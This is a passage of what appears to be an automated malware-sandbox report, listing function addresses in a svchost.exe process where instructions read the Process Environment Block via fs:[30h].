Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4B1B0 mov eax, dword ptr fs:[00000030h]	2_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A70185 mov eax, dword ptr fs:[00000030h]	2_2_03A70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A87190 mov eax, dword ptr fs:[00000030h]	2_2_03A87190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A351ED mov eax, dword ptr fs:[00000030h]	2_2_03A351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD71F9 mov esi, dword ptr fs:[00000030h]	2_2_03AD71F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B061E5 mov eax, dword ptr fs:[00000030h]	2_2_03B061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A601F8 mov eax, dword ptr fs:[00000030h]	2_2_03A601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6D1D0 mov eax, dword ptr fs:[00000030h]	2_2_03A6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6D1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03A6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B051CB mov eax, dword ptr fs:[00000030h]	2_2_03B051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60124 mov eax, dword ptr fs:[00000030h]	2_2_03A60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31131 mov eax, dword ptr fs:[00000030h]	2_2_03A31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31131 mov eax, dword ptr fs:[00000030h]	2_2_03A31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov ecx, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF0115 mov eax, dword ptr fs:[00000030h]	2_2_03AF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC9179 mov eax, dword ptr fs:[00000030h]	2_2_03AC9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05152 mov eax, dword ptr fs:[00000030h]	2_2_03B05152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov ecx, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37152 mov eax, dword ptr fs:[00000030h]	2_2_03A37152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C156 mov eax, dword ptr fs:[00000030h]	2_2_03A2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC8158 mov eax, dword ptr fs:[00000030h]	2_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC80A8 mov eax, dword ptr fs:[00000030h]	2_2_03AC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov eax, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3208A mov eax, dword ptr fs:[00000030h]	2_2_03A3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D08D mov eax, dword ptr fs:[00000030h]	2_2_03A2D08D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A35096 mov eax, dword ptr fs:[00000030h]	2_2_03A35096
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D090 mov eax, dword ptr fs:[00000030h]	2_2_03A5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D090 mov eax, dword ptr fs:[00000030h]	2_2_03A5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6909C mov eax, dword ptr fs:[00000030h]	2_2_03A6909C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A550E4 mov eax, dword ptr fs:[00000030h]	2_2_03A550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A550E4 mov ecx, dword ptr fs:[00000030h]	2_2_03A550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_03A2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A380E9 mov eax, dword ptr fs:[00000030h]	2_2_03A380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB60E0 mov eax, dword ptr fs:[00000030h]	2_2_03AB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_03A2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A720F0 mov ecx, dword ptr fs:[00000030h]	2_2_03A720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B050D9 mov eax, dword ptr fs:[00000030h]	2_2_03B050D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD0C0 mov eax, dword ptr fs:[00000030h]	2_2_03AAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD0C0 mov eax, dword ptr fs:[00000030h]	2_2_03AAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB20DE mov eax, dword ptr fs:[00000030h]	2_2_03AB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A590DB mov eax, dword ptr fs:[00000030h]	2_2_03A590DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A020 mov eax, dword ptr fs:[00000030h]	2_2_03A2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C020 mov eax, dword ptr fs:[00000030h]	2_2_03A2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4000 mov ecx, dword ptr fs:[00000030h]	2_2_03AB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB106E mov eax, dword ptr fs:[00000030h]	2_2_03AB106E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05060 mov eax, dword ptr fs:[00000030h]	2_2_03B05060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov ecx, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C073 mov eax, dword ptr fs:[00000030h]	2_2_03A5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD070 mov ecx, dword ptr fs:[00000030h]	2_2_03AAD070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32050 mov eax, dword ptr fs:[00000030h]	2_2_03A32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD705E mov ebx, dword ptr fs:[00000030h]	2_2_03AD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD705E mov eax, dword ptr fs:[00000030h]	2_2_03AD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B052 mov eax, dword ptr fs:[00000030h]	2_2_03A5B052
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6050 mov eax, dword ptr fs:[00000030h]	2_2_03AB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB97A9 mov eax, dword ptr fs:[00000030h]	2_2_03AB97A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B037B6 mov eax, dword ptr fs:[00000030h]	2_2_03B037B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A307AF mov eax, dword ptr fs:[00000030h]	2_2_03A307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D7B0 mov eax, dword ptr fs:[00000030h]	2_2_03A5D7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF78A mov eax, dword ptr fs:[00000030h]	2_2_03AEF78A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3D7E0 mov ecx, dword ptr fs:[00000030h]	2_2_03A3D7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A357C0 mov eax, dword ptr fs:[00000030h]	2_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A357C0 mov eax, dword ptr fs:[00000030h]	2_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A357C0 mov eax, dword ptr fs:[00000030h]	2_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB07C3 mov eax, dword ptr fs:[00000030h]	2_2_03AB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF72E mov eax, dword ptr fs:[00000030h]	2_2_03AEF72E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A33720 mov eax, dword ptr fs:[00000030h]	2_2_03A33720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4F720 mov eax, dword ptr fs:[00000030h]	2_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4F720 mov eax, dword ptr fs:[00000030h]	2_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4F720 mov eax, dword ptr fs:[00000030h]	2_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF972B mov eax, dword ptr fs:[00000030h]	2_2_03AF972B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29730 mov eax, dword ptr fs:[00000030h]	2_2_03A29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29730 mov eax, dword ptr fs:[00000030h]	2_2_03A29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A65734 mov eax, dword ptr fs:[00000030h]	2_2_03A65734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3973A mov eax, dword ptr fs:[00000030h]	2_2_03A3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3973A mov eax, dword ptr fs:[00000030h]	2_2_03A3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov ecx, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAC730 mov eax, dword ptr fs:[00000030h]	2_2_03AAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37703 mov eax, dword ptr fs:[00000030h]	2_2_03A37703
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A35702 mov eax, dword ptr fs:[00000030h]	2_2_03A35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A35702 mov eax, dword ptr fs:[00000030h]	2_2_03A35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C700 mov eax, dword ptr fs:[00000030h]	2_2_03A6C700
